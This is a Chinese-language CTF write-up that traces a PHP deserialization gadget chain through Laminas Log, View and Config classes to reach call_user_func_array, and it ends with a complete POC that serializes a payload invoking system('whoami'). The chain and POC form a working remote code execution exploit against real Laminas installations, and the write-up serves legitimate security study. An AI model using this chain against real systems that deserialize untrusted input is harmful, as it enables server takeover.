Laminas反序列化链分析
前言
看了一下红明谷杯的题,第一道web就是一个phar反序列化,其中用到了Laminas
组件,挖一下利用链
正文
全局搜索__destruct
一个个看一下,最后将目光锁定在了vendor\laminas\laminas-log\src\Logger.php
中的__destruct
方法
public function __destruct()
{
foreach ($this->writers as $writer) {
try {
$writer->shutdown();
} catch (\Exception $e) {
}
}
}
遍历$this->writers
,调用其中每个元素的shutdown
方法,全局搜索shutdown
方法,找到了vendor\laminas\laminas-log\src\Writer\Mail.php
public function shutdown()
{
// If there are events to mail, use them as message body. Otherwise,
// there is no mail to be sent.
if (empty($this->eventsToMail)) {
return;
}
if ($this->subjectPrependText !== null) {
// Tack on the summary of entries per-priority to the subject
// line and set it on the Laminas\Mail object.
$numEntries = $this->getFormattedNumEntriesPerPriority();
$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
}
// Always provide events to mail as plaintext.
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
// Finally, send the mail. If an exception occurs, convert it into a
// warning-level message so we can avoid an exception thrown without a
// stack frame.
try {
$this->transport->send($this->mail);
} catch (TransportException\ExceptionInterface $e) {
trigger_error(
"unable to send log entries via email; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_WARNING
);
}
}
先判断$this->eventsToMail
是否为空,为空直接return,然后再判断$this->subjectPrependText
是否为空。直接看到重点
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
调用mail属性的setBody方法,参数为eventsToMail
转换为字符串的值,也就是说参数是可控的。如果$this->mail
中没有setBody
方法就会调用到__call
方法,全局搜索__call
数量比较多,还是一个个看一下,找到了vendor\laminas\laminas-view\src\Renderer\PhpRenderer.php
public function __call($method, $argv)
{
$plugin = $this->plugin($method);
if (is_callable($plugin)) {
return call_user_func_array($plugin, $argv);
}
return $plugin;
}
看到call_user_func_array($plugin, $argv)
,这之中$argv
是我们可控的,那么只要$plugin
也可控就可以实现RCE了。追踪一下$plugin
的来源
$plugin = $this->plugin($method);
追踪一下plugin
方法
public function plugin($name, array $options = null)
{
return $this->getHelperPluginManager()->get($name, $options);
}
追踪getHelperPluginManager
方法
public function getHelperPluginManager()
{
if (null === $this->__helpers) {
$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
}
return $this->__helpers;
}
返回的是$this->_helpers
,然后调用其get
方法,那么只要我们能够控制get
方法的返回值,就可以使$plugin
可控,进而RCE。全局搜索get
,找到了Config
类
public function get($name, $default = null)
{
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
return $default;
}
这里的$name
就是之前传入的方法名,也就是setBody
,那么我们可以设置$this->data
为['setBody'=>'system']
就可以使$plugin
为system
,实现RCE
编写一下POC
<?php
namespace Laminas\Config{
class Config{
protected $data;
public function __construct(){
$this->data=['setBody'=>'system'];
}
}
}
namespace Laminas\View\Renderer{
use Laminas\Config\Config;
class PhpRenderer{
private $__helpers;
public function __construct(){
$this->__helpers=new Config();
}
}
}
namespace Laminas\Log\Writer{
use Laminas\View\Renderer\PhpRenderer;
class Mail{
protected $eventsToMail;
protected $mail;
public function __construct(){
$this->eventsToMail=['whoami'];
$this->mail=new PhpRenderer();
}
}
}
namespace Laminas\Log{
use Laminas\Log\Writer\Mail;
class Logger{
protected $writers;
public function __construct(){
$this->writers=[new Mail()];
}
}
}
namespace {
use Laminas\Log\Logger;
$a=new Logger();
echo urlencode(serialize($a));
}
然后在红明谷给的源码中添加了一个反序列化点,测试一下